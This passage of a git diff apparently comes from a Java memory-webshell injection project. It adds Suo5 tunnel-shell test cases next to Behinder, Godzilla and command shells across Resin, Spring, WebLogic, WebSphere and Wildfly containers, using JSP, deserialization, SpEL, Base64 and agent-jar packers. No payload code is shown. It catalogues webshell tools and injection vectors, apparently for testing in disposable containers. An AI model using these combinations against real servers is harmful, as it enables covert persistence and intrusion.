Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 5326954f..1b8927f6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -49,18 +49,24 @@ public class Resin318ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 67e78f36..fabe236f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -48,18 +48,24 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 25d57f9e..0dc39057 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -48,18 +48,24 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index f036569d..8cb82d20 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -52,6 +52,9 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), @@ -61,6 +64,9 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) @@ -76,7 +82,7 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container); + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index 5dd41cf3..2d10cc9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -50,6 +50,9 @@ public class SpringBoot2WarContainerTest { arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), @@ -58,7 +61,10 @@ public class SpringBoot2WarContainerTest { arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64) + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64) ); } @@ -71,6 +77,6 @@ public class SpringBoot2WarContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index d7ab3b21..60257b90 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -46,13 +46,15 @@ public class SpringBoot3ContainerTest { arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packers.Base64), arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Suo5, Packers.Base64), arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) - ); + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar) + ); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java index 8b87daf9..4879ef30 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -42,12 +42,13 @@ public class SpringBoot2WebFluxContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java index 51dda15e..6555e19d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -42,12 +42,13 @@ public class SpringBoot3WebFluxContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 12f9605d..db69a23f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -43,12 +43,15 @@ public class WebLogic1036ContainerTest { // arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 0960d9ad..459b042b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -45,12 +45,15 @@ public class WebLogic12214ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index f0e25bb9..2e1d0776 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -45,12 +45,15 @@ public class WebLogic14110ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java index fc427184..dcd91441 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java @@ -48,12 +48,15 @@ public class WebSphere700ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index 6ee8a73f..e23c95e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -48,12 +48,15 @@ public class WebSphere855ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 9ed968da..1b4b3c41 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -48,12 +48,15 @@ public class WebSphere905ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index cc416799..506c2a22 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -46,12 +46,15 @@ public class Wildfly18ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, 